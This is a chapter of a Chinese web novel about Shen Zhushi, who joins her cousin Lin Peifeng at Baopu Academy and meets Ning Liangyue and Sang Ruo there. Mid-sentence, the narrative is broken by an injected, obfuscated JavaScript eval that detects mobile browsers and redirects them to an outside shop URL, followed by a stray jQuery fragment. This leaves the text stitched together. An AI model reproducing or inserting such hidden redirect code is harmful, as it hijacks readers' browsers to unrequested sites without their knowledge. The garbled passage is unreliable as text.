沈竹石在林府住下的这几日,对林府上下也了解了个大概。她的姑母沈玉姝只有一子,名唤林培风。林培风与沈竹石生辰相近,不过就差十日,年岁相近,二人相处也算融洽。
姑父林卓然在朝中任职户部侍郎,为人正派,只是天性风流,故而后院中不少莺莺燕燕。好在,沈玉姝性子强硬,颇有手段,多年来后院中风平浪静,无人敢兴风作浪。
自几日前与宁良月告辞后,沈竹石与林卓然只见过一次面。后来林卓然便被紧急传入宫中,这几日公务似乎尤为繁忙,脚不沾地,最后索性连府里也不回了,索性宿在户部衙门中。
与此同时,不少官员被革职入狱,京中一时之间人心惶惶,生怕一不小心轮到了自家头上。
旁人不甚了解情况,沈竹石却知晓内情,宁良月约莫是成功了,再过几日,宁国公府的冤屈就该昭雪了。
沈竹石静静坐在亭中,凝望盏中漂浮的茶叶,一阵出神。
这时,院里鸟鹊惊飞,洒扫侍女纷纷唤道:“少爷。”
下一刻,面前猛地坐下一人,操起茶壶斟了一杯茶,咕嘟咕嘟三杯茶下肚,来人似乎仍意犹未尽。
沈竹石默默将自己的茶盏推向来人,道:“没喝过。”
林培风也不推辞,嘻嘻一笑,露出一口大白牙,道:“还是阿竹贴心。”
林培风与沈竹石五六分相似,性情活泼跳脱,一笑,脸颊两侧便现出两个浅浅的酒窝。
他把茶水一饮而尽,方才神神秘秘,压低声音道:“你可知,这几日那些被革职的官员都犯了什么事?”
还未等沈竹石回答,林培风早已迫不及待,愤然道:“贪污,这次南边干旱的赈灾粮全进了这群老匹夫的兜里!”
见沈竹石只淡淡应一声,连眉头都未曾挑动一下,林培风不由有些泄气:“不是,阿竹,你怎么一点不惊讶啊?”
“我很惊讶啊,表兄你看不出来吗?”沈竹石毫无诚意道。
呵呵,你看我信你吗?林培风暗暗翻了个白眼。
说来自己这个表妹也是可怜,家财散尽不说,现在又父母双亡,一路不知道吃了多少苦才千里迢迢到了京城,她一定受到了巨大的心理创伤,这才冷冰冰不爱说话,天将降大任于是人也,作为阿竹的亲表哥,他一定要让阿竹笑起来,不然,岂不是他这京城开心果的名号岂不是白叫了?
只是可惜他接下来就要告诉沈竹石一个悲惨的消息。
“阿竹,我还要告诉你一个坏消息,你一定要做好心理准备。”林培风眉心蹙起,语气沉痛,担心接下来的话会彻底击倒这个弱小无助的表妹。
他缓缓从袖中拿出一纸帛书递给沈竹石,双手颤颤巍巍,宛如一逢了大难、饱经风霜的沧桑老汉。
沈竹石接过帛书,疑惑道:“什么?”
林培风道:“你自己看吧。”说罢,默默背过身去,身形仿佛也在一瞬间佝偻下去,他实在是不忍心看到自家表妹如遭雷击的表情。
沈竹石翻开帛书,洁白的帛书上赫然写着抱朴书院四个大字,字迹遒劲有力,力透纸背,末尾处盖一朱红方印。
抱朴书院取自见素抱朴,少私寡欲,绝学无忧,在大楚颇负盛名。京城中凡是世家子弟到年纪后都会被送进书院读书识字,以便日后考取功名。过去,抱朴书院并不收女学生,直至近年,皇后手握实权,与皇帝共治天下,渐渐地,女子地位水涨船高,也有了进书院,考女官的资格。
可虽如此,大多数进书院读书的闺阁小姐大多只是为了博个好名声,今后嫁入高门。因而,这些年来书院女弟子来来去去,一批又一批,从未出过一名女官。
如今,这世家子弟挤破头皮都要进的书院就这么轻飘飘地砸了下来,这怎能叫人不心生欢喜?
“这是?”沈竹石道。
“不错,这是抱朴书院的准入牒文,再过几日,你便要随我一同去书院了。”林培风道。
沈竹石微垂着头,肩膀微微颤抖,林培风看不到她的表情,只以她被这突如其来的噩耗引得心神大恸,难以自抑。
他以一副过来人的姿态上前拍拍沈竹石肩膀,惆怅道:“都是这样过来的,表妹你也不用太难过,大不了你以后受先生罚,表哥替你挨打手心。”
一想到打手心时火辣辣的痛感,并且从今以后还要承受双倍的痛苦,林培风的脊背再次弯了下去。
“为什么会难过?”沈竹石疑惑问道。
“那自然是因为……等等,你为什么在笑?!”林培风一双眼瞪得犹如铜铃,满脸不可思议,活像见鬼。
只见沈竹石唇角微微勾起,眼底含笑,仿若冰雪消融,霎时间天地失色,身后的石榴花绯艳灼灼、红英簇簇,可比不上沈竹石一分一毫。
活色生香。不知为何,林培风脑中出现了这个词,他不禁有些看呆,但这是重点吗?!当然不是!!!谁能告诉他为什么会有人因为要去上学而开心啊???这合理吗???
天老爷,这些天他到处跑,给表妹送上数十样新奇解闷的小玩意,搜集京城中各家趣闻,表妹都是态度平平,今天知晓能去书院,她居然笑了???笑了!!!他京城开心果竟还不如书院的准入牒文!!!
觉察到林培风的沮丧,沈竹石心中泛起一丝愧疚,想了想,道:“表兄,你放心吧,就算在书院被罚,我也不会让你替我挨手心的。”
林培风扯起一个比哭还难看的笑:“我谢谢你啊。”
……
五日后,抱朴书院。
抱朴书院位于京郊云霄山麓,离繁华喧嚣的京城主城相聚甚远,光是马车来回就要耗费上一日光景。
沈竹石一大早就与林培风坐上马车出发了,在马车上颠簸半日,二人终于抵达。
下了马车,一座宏伟建筑出现在眼前,飞檐翘角,碧瓦朱甍,古朴庄重。
此时朱门大敞,来往学子成群结队,络绎不绝。
林培风接过仆人递来的包袱,往身上一甩,道:“阿竹,来,表兄给你带路。”
这包袱是沈竹石的,里头物件不算多,大半都是换洗衣衫以及些零碎日常得杂物。
抱朴书院规矩严苛,以一旬为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747204|209332||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一轮休沐之期,一旬内学子食宿尽数拘在院中,不得随意外出,最重要的是书院不许随从伺候,因此,凡事学子都得亲力亲为。
沈玉姝惦记着自家侄女初次入书院求学,事事周全,大大小小起居物件备得满满当当,而沈竹石却随意得多,只拣些必备衣物收拾妥当,轻装上路。
二人进了门,绕过长廊,一路直行,这时,林培风眼前一亮,喜道:“宁兄!”
满院学子皆是身穿相同制式的素白襕衫,但不远处的那道身影兀自立于人群中,气度端雅,身形尤为挺拔,不过一道背影就轻易在一众人群中脱颖而出,颇为惹眼,刺眼的日光洒在那人身上,仿佛也变得柔和,像是周身拢了一层薄纱。
那人闻言转过身,温和一笑:“培风兄,许久未见了。”
林培风几步上前,抬手搭上宁良月肩头:“太好了,宁兄,前几日便听闻府上洗清冤屈,本以为要过些日子才能见到你,想不到你今日便来了,还要恭喜你此次检举贪官立下功劳,实在是可喜可贺。”
宁良月嘴角噙笑,道:“不过是陈述实情罢了,谈不上有功,此次家中事尘埃落定,总算能安心回到书院求学,往后还要与培风兄共同研学。”
林培风唉声叹气,苦笑道:“宁兄,你还不知道我?我呀,一读书就头疼得紧,天生不是读书那块料。好了,不说这些,说来,我还要给你介绍个人呢!”
林培风环视一圈,纳闷道:“咦,人呢?”
沈竹石颇为头疼,本一路和林培风走得好好的,林培风突然和见了肉包子的狗似的,一路往前狂奔,再者,今日学子都赶着回书院,书院中乌压压一片,不一会儿,林培风的身影便淹没在人群中,难觅踪影。
“这位妹妹,瞧你眼生,你是新进书院的学生吧?你是和人走散了么?”说话的是一女子,身材高挑,颇为英气。
沈竹石颔首:“人太多,我与表兄走散了。”
女子了然:“我是桑若,不如你同我一道,我带你去找你表兄。你是谁家的姑娘?你表哥叫什么?”
沈竹石并未推辞:“那便多谢桑姐姐了,我名唤沈竹石,林培风是我的表兄。”
闻言,桑若面色古怪,自言自语道:“林培风那个显眼包居然会有这样一个表妹。”
沈竹石疑惑:“桑姐姐,你说什么?”
桑若道:“没什么,我这就带你去找他。他应该很容易就能找到。”
话音刚落,桑若牵起沈竹石,向前走去:“现在书院里人多,我牵着你就不怕走丢了。”
不过一盏茶功夫,沈竹石就明白了桑若为何说林培风容易找到。
只见不远处,两人高举一约莫两米长的卷轴,卷轴上写有三个醒目大字——沈竹石,好在这人字写得犹如狗啃般惨不忍睹,只粗粗认得出一个石字,不然今日沈竹石怕是要在抱朴书院彻底扬名。
桑若嘴角抽搐,压低了声音:“那是你表兄没错吧?”
沈竹石冷若冰霜的面上出现一丝龟裂,迟疑半晌,终于点头。
真想装作不认识林培风。